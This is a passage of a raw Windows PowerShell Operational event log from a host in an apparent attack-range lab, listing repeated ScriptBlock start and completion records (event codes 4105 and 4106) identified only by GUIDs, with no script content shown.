SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044409
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044407
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044406
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044390
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044389
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044384
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044383
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
